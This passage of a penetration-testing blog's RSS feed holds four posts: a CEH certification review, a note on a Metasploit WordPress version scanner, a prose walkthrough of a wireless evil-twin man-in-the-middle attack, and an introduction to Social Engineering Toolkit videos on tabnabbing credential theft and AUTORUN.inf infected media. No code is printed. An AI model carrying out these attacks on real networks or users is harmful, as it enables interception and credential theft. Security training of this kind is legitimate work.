/&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;C|EH is an IT security certification by &lt;a href=&quot;http://www.eccouncil.org/&quot; target=&quot;_blank&quot;&gt;EC-COUNCIL&lt;/a&gt; and has been more than a standard rather than a certification. what it means is that C|EH is almost mandatory in all the IT security jobs out there.&lt;br /&gt;I have seen so many people quarrel on the subject that &quot;C|EH course doesn&#39;t provide knowledge&quot;. what i suggest is that C|EH provides a base to all security subjects. Hence, it&#39;s considered boring. but mind it whenever you need to apply to a job, you need this certification in your bag. C|EH is widely accepted everywhere in the world.&lt;br /&gt;&lt;br /&gt;Suppose, when you type in &quot;ceh&quot; in linkedin. you will find that most of the security jobs require C|EH certification-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-jUIiNamT1iA/UzhOV-LPiyI/AAAAAAAAAD8/f98zX-qoQnY/s1600/yo.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-jUIiNamT1iA/UzhOV-LPiyI/AAAAAAAAAD8/f98zX-qoQnY/s1600/yo.PNG&quot; height=&quot;320&quot; width=&quot;308&quot; /&gt;&lt;/a&gt;&lt;/div&gt;I did C|EH, 4 years ago. throughout my course, i found that C|EH mostly covers various topics and throw light on the basics of every topic that includes- wireless hacking, basics of web application hacking, reverse engineering, phases of testing and cryptography.&lt;br /&gt;&lt;br /&gt;C|EH exam is generally conducted by Prometric in india. CEH v8 exam includes 125 Multiple choice questions and require the students to score 70% marks.&lt;br /&gt;&lt;br /&gt;I would say, C|EH exam is really easy to pass as most of the freely available exam preparation guides contain all the questions that are mostly included in the exams.&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;Final Verdict: If you are a complete beginner go for C|EH to cover basics of most of the technologies. however, if you are an experienced campaigner go for C|EH as a vital asset to fetch a leading job in the IT security industry.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/03/why-to-get-ceh-certification.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-EGjipeQNWdU/UzhQyOnAuVI/AAAAAAAAAEI/1RcQsfbTG2U/s72-c/cartoon-ceh.png" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-7605560585892486316</guid><pubDate>Wed, 01 Jan 2014 22:54:00 +0000</pubDate><atom:updated>2014-01-02T04:24:30.802+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Coding Metasploit</category><category domain="http://www.blogger.com/atom/ns#">Coding Modules in Metasploit</category><title>Coding a Simple Wordpress Version Scanner In Metasploit</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Hey Folks,&lt;br /&gt;Check out my Simplest Script for Finding the Wordpress Version in Metasploit.&lt;br /&gt;This module is intended only to show that how we can code a metasploit module. however, tons of tools out there may work 100 times better than this script.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-flVbkMYEy7E/UsScCAH3PmI/AAAAAAAAADg/-KRJVJM8sV8/s1600/apexword2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-flVbkMYEy7E/UsScCAH3PmI/AAAAAAAAADg/-KRJVJM8sV8/s1600/apexword2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;This Module Requires you to set RHOSTS to the Server IP and username of the website as USER.&lt;br /&gt;suppose, a website is running wordpress, ping the website and grab the IP, open the website and browse to find the username at /wp-includes/admin-bar.php or /wp-includes/user.php file by copying the username from the path which might look similar to /home/nipun/www/. in this case &#39;nipun&#39; is the username.&lt;br /&gt;Now, set both of the parameters, which are RHOSTS and USER. Now, run the script.&lt;br /&gt;You should be able to find the Version of Wordpress running.&lt;br /&gt;Script URL :-&lt;br /&gt;&lt;a href=&quot;https://github.com/nipunjaswal/Metasploit/blob/master/Apex_Wordpress_Detector.rb&quot; target=&quot;_blank&quot;&gt;Download From Github&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Please Comment If you Like this Post and Want more tutorials on Coding Metasploit Exploits, Modules etc.&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2014/01/coding-scanners-in-metasploit-for-wordpress.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-flVbkMYEy7E/UsScCAH3PmI/AAAAAAAAADg/-KRJVJM8sV8/s72-c/apexword2.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-971264389220773756</guid><pubDate>Mon, 30 Dec 2013 10:50:00 +0000</pubDate><atom:updated>2013-12-30T16:20:00.437+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Wireless penetration testing</category><title>Conducting Wireless Man in the Middle Attack</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Wireless is basically vulnerable to so many attacks but attacks like MITM can also be leveraged against wireless networks as they could have been in case of normal Ethernet. However, in a wireless man in the middle attack one cannot simply put the interface between the AP and the Victim.&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-I3JSjAurX-k/UsCRi70tblI/AAAAAAAAAC8/kqz9oZqxt4Q/s1600/mitm.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-I3JSjAurX-k/UsCRi70tblI/AAAAAAAAAC8/kqz9oZqxt4Q/s1600/mitm.jpg&quot; /&gt;&lt;/a&gt;&amp;nbsp;Here, we need to force the client to break its connection from the legitimate interface and connect to the fake one. However, no manual work is to be done by the victim while connecting from normal to the fake AP. In this attack we will setup a fake AP with the same ESSID( the name of the wireless network) of the victim AP and then, we will send De-authentication &amp;nbsp;packets to the Legitimate AP so no one can make a connection to it. Now, ESSIDs being same of both the target network and our fake one, victim system will try to connect to the fake one as it is not able to connect to the original one. As soon as the victim connects we will capture all its data... And will pass it back to the legitimate AP. so all the data will pass through our system and hence wireless MITM is achieved.&lt;br /&gt;Here&#39;s a Video Demonstration for Doing the same with Backtrack.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;object width=&quot;320&quot; height=&quot;266&quot; class=&quot;BLOGGER-youtube-video&quot; classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; codebase=&quot;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0&quot; data-thumbnail-src=&quot;http://img.youtube.com/vi/bhh2-G_sqfQ/0.jpg&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://youtube.googleapis.com/v/bhh2-G_sqfQ&amp;source=uds&quot; /&gt;&lt;param name=&quot;bgcolor&quot; value=&quot;#FFFFFF&quot; /&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot; /&gt;&lt;embed width=&quot;320&quot; height=&quot;266&quot;  src=&quot;http://youtube.googleapis.com/v/bhh2-G_sqfQ&amp;source=uds&quot; type=&quot;application/x-shockwave-flash&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;Hope you will enjoy the Video. Do leave your feedback.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2013/12/conducting-wireless-man-in-middle-attack.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-I3JSjAurX-k/UsCRi70tblI/AAAAAAAAAC8/kqz9oZqxt4Q/s72-c/mitm.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7191082080817652356.post-7748406344834922587</guid><pubDate>Sun, 29 Dec 2013 13:14:00 +0000</pubDate><atom:updated>2013-12-29T18:44:38.702+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Social Engineering toolkit</category><title>3 Tutorials to get you started with Social Engineering Toolkit </title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Hey Folks,&lt;br /&gt;Social Engineering is an art to lure information from the victim in form of credentials, IP addresses, or may be the complete system access using falsifying calls.&lt;br /&gt;But Social Engineering has gained a lot of hikes in the recent years, in terms of web and internet based attacks.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-KuAJnU4ByPQ/UsAfw72ad8I/AAAAAAAAACo/nUrMqtwjnwU/s1600/SET.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;203&quot; src=&quot;http://2.bp.blogspot.com/-KuAJnU4ByPQ/UsAfw72ad8I/AAAAAAAAACo/nUrMqtwjnwU/s400/SET.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;these attacks can be leveraged onto the modern user running windows 7/8 systems too.&lt;br /&gt;i have created 3 tutorials to get you guys starting with Social engineering toolkit.&lt;br /&gt;Social engineering toolkit comes as a part of Backtrack/Kali Linux. it uses Metasploit for its various attacks.&lt;br /&gt;let&#39;s get started with social engineering using some of the following videos.&lt;br /&gt;&lt;br /&gt;1. Introduction to Basic Attacks:-&lt;br /&gt;In this video, you will find basics of using Social engineering toolkit and attacking the client side using it.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/nA8R2GHUd9g?feature=player_embedded&#39; frameborder=&#39;0&#39; /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;2. Tab Napping Attack:-&lt;br /&gt;In this tutorial, you will information about tab napping attacks and how it can be conducted. basically tab napping attacks are leveraged when a victim tries to open a fake address and he is presented with a page saying &quot; the site is loading&quot; but as soon as the victim opens a new tab, the content of the page are refreshed and a fake log in page appears. as soon as the victim tries to log in his credentials gets logged in the social engineering toolkit window. View the tutorial for more:-&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/WPplDkW7uho?feature=player_embedded&#39; frameborder=&#39;0&#39; /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;3. Infectious Media Generator:-&lt;br /&gt;In this attack, malicious files are produced with AUTORUN.inf file and are written onto a disk or USB. when a victim plugs in the media, the attack gets launched as AUTORUN.inf file loads the attack vector itself. View The Tutorial Below for more information on SET.&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/1cf04-R7Tyw?feature=player_embedded&#39; frameborder=&#39;0&#39; /&gt;&lt;/div&gt;All these attacks were performed under windows 7 enabled systems. i hope you will like this post.&amp;nbsp;&lt;/div&gt;</description><link>http://www.nipunjaswal.com/2013/12/3-tutorials-on-social-engineering-toolkit-for-attacking-windows-7.html</link><author>noreply@blogger.com (Nipun Jaswal)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-KuAJnU4ByPQ/UsAfw72ad8I/AAAAAAAAACo/nUrMqtwjnwU/s72-c/SET.jpg" height="72" width="72"/><thr:total>0</thr:total></item></channel></rss>